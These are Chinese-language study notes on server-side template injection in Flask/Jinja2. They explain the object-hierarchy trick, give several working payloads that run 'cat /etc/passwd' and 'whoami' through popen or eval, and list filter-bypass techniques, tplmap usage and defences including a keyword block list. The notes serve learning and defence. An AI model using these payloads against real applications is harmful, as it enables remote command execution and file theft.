模板注入漏洞(SSTI)学习笔记
1. 模板注入简介
什么是模板引擎?
模板引擎用于将动态数据渲染到静态页面(如 HTML)。例如,Jinja2(Python)、Twig(PHP)等。
示例:
python
# Flask中使用Jinja2渲染模板
from flask import render_template
@app.route('/')
def index():
user_input = request.args.get('name')
return render_template('index.html', name=user_input)
如果用户输入{``{7*7}},且页面显示49,说明存在SSTI漏洞。
2. 漏洞原理
魔术方法(Magic Methods)
-
__class__:返回对象的类。python"".__class__ # 返回 <class 'str'> -
__bases__:返回类的基类。python"".__class__.__bases__ # 返回 (<class 'object'>,) -
__subclasses__():返回类的所有子类。python"".__class__.__bases__[0].__subclasses__() # 返回 object 的所有子类
攻击流程
- 检测漏洞 :输入
{``{7*7}},若返回49则存在漏洞。 - 找到基类 :通过字符串对象找到
object类。 - 遍历子类 :寻找包含危险功能的子类(如
os._wrap_close)。 - 执行命令:调用子类的方法执行系统命令。
3. 漏洞利用示例(Python3)
Payload 1:读取文件
python
{{ "".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('cat /etc/passwd').read() }}
- 执行原理 :
"".__class__→<class 'str'>__bases__[0]→<class 'object'>__subclasses__()[128]→ 找到os._wrap_close类__init__.__globals__→ 获取全局变量(包含os模块)popen('cat /etc/passwd').read()→ 执行命令并读取结果。
Payload 2:利用循环执行命令
python
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == '_wrap_close' %}
{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
{% endif %}
{% endfor %}
- 执行原理 :
遍历所有子类,找到_wrap_close类,调用eval执行系统命令。
4. 绕过技巧(示例)
绕过.符号
使用[]或attr()过滤器:
python
{{ ""["__class__"] }} # 等价于 "".__class__
{{ ""|attr("__class__") }} # 使用过滤器
绕过中括号[]
使用__getitem__方法:
python
{{ "".__class__.__bases__.__getitem__(0) }} # 等价于 __bases__[0]
绕过引号
用request.args传递参数:
python
{{ url_for.__globals__[request.args.a] }}&a=__builtins__
- 通过URL参数
a传递__builtins__,避免直接使用引号。
5. 绕过技巧(续)
绕过数字
如果数字被过滤,可以通过count方法生成数字:
python
{{ (dict(e=a)|join|count) }} # 返回 1
- 执行原理 :
dict(e=a)生成一个字典,join将其转换为字符串,count计算字符串长度(1)。
绕过关键字
如果class、base等关键字被过滤,可以通过join拼接绕过:
python
{{ dict(__in=a,it__=a)|join }} # 返回 __init__
- 执行原理 :
通过字典拼接生成__init__字符串。
绕过{``{和}}
如果{``{被过滤,可以使用{% %}语法:
python
{% print("".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()) %}
- 执行原理 :
使用{% %}代替{``{ }},直接执行命令并输出结果。
6. 实际案例解析
案例 1:Flask 模板注入
假设一个 Flask 应用渲染用户输入:
python
@app.route('/')
def index():
user_input = request.args.get('name')
return render_template_string(f"Hello, {user_input}!")
- 攻击步骤 :
-
输入
{``{7*7}},页面显示Hello, 49!,确认存在漏洞。 -
使用以下 Payload 执行命令:
python{{ "".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read() }} -
页面返回当前用户(如
root)。
-
案例 2:绕过过滤
假设应用过滤了.和[],可以使用attr和__getitem__绕过:
python
{{ ""|attr("__class__")|attr("__bases__")|attr("__getitem__")(0)|attr("__subclasses__")() }}
- 执行原理 :
通过attr过滤器逐步获取__class__、__bases__等属性,最终找到子类。
7. 防护措施
1. 避免用户控制模板内容
-
错误示例 :
pythonrender_template_string(f"Hello, {user_input}!") -
正确示例 :
pythonrender_template('index.html', name=user_input)
2. 使用安全的模板渲染方法
- 避免直接拼接用户输入到模板中。
- 使用模板引擎提供的安全渲染方法。
3. 过滤关键词
-
过滤
{``{、}}、__class__、__bases__等关键词。 -
示例:
pythonif any(keyword in user_input for keyword in ["__class__", "__bases__", "{{", "}}"]): return "Invalid input!"
4. 配置防火墙
- 使用 WAF(Web 应用防火墙)拦截恶意请求。
8. 总结
- 漏洞本质:用户输入被直接拼接到模板中,导致恶意代码执行。
- 攻击核心 :利用魔术方法(如
__class__、__bases__)找到危险类并执行命令。 - 防护关键:避免用户控制模板内容,过滤关键词,使用安全的渲染方法。
9. 实际案例解析(续)
案例 3:绕过复杂过滤
假设应用过滤了{``{、}}、.、[]、__class__等关键词,可以通过以下方式绕过:
-
使用
request.args传递参数:python{{ url_for.__globals__[request.args.a] }}&a=__builtins__- 执行原理 :
通过URL参数a传递__builtins__,避免直接使用关键词。
- 执行原理 :
-
使用
request.cookies绕过:python{{ url_for.__globals__[request.cookies.a] }}-
Cookie设置 :
httpCookie: a=__builtins__
-
-
使用十六进制编码绕过:
python{{ ()["\x5f\x5fclass\x5f\x5f"] }} # 等价于 ().__class__
10. 工具使用
1. Tplmap
-
功能:自动化检测和利用 SSTI 漏洞。
-
使用示例 :
bashtplmap -u http://example.com/?name=test -
输出 :
检测是否存在漏洞,并自动生成 Payload。
2. Burp Suite
- 功能:手动测试 SSTI 漏洞。
- 步骤 :
- 发送请求并观察响应。
- 使用 Payload 测试漏洞。
- 利用漏洞执行命令或读取文件。
11. 进阶技巧
1. 利用config对象
config对象包含应用的配置信息,可以通过它执行命令:
python
{{ config.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
- 执行原理 :
通过config对象的__globals__属性访问__builtins__,调用eval执行命令。
2. 利用url_for函数
url_for是 Flask 中的全局函数,可以通过它访问__builtins__:
python
{{ url_for.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
3. 利用request对象
request对象包含请求信息,可以通过它绕过过滤:
python
{{ request.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
12. 总结与建议
1. 漏洞危害
- 读取敏感文件(如
/etc/passwd)。 - 执行任意系统命令(如
whoami、cat /flag)。 - 获取服务器权限。
2. 防护建议
- 输入过滤:严格过滤用户输入,禁止特殊字符和关键词。
- 模板渲染:使用安全的模板渲染方法,避免直接拼接用户输入。
- 安全配置:配置防火墙,限制敏感函数和模块的访问。
3. 学习资源
- CTF 题目:练习 SSTI 相关的 CTF 题目(如 Flask SSTI)。
- 工具使用:熟悉 Tplmap、Burp Suite 等工具。
- 代码审计:学习常见模板引擎的源码,理解其工作原理。
13. 示例代码解析
示例 1:读取文件
python
{{ "".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('cat /etc/passwd').read() }}
- 执行步骤 :
- 找到
str类的基类object。 - 遍历
object的子类,找到os._wrap_close。 - 调用
popen执行命令并读取结果。
- 找到
示例 2:绕过过滤
python
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == '_wrap_close' %}
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}
{% endif %}
{% endfor %}
- 执行步骤 :
- 遍历
object的子类,找到_wrap_close。 - 调用
eval执行系统命令。
- 遍历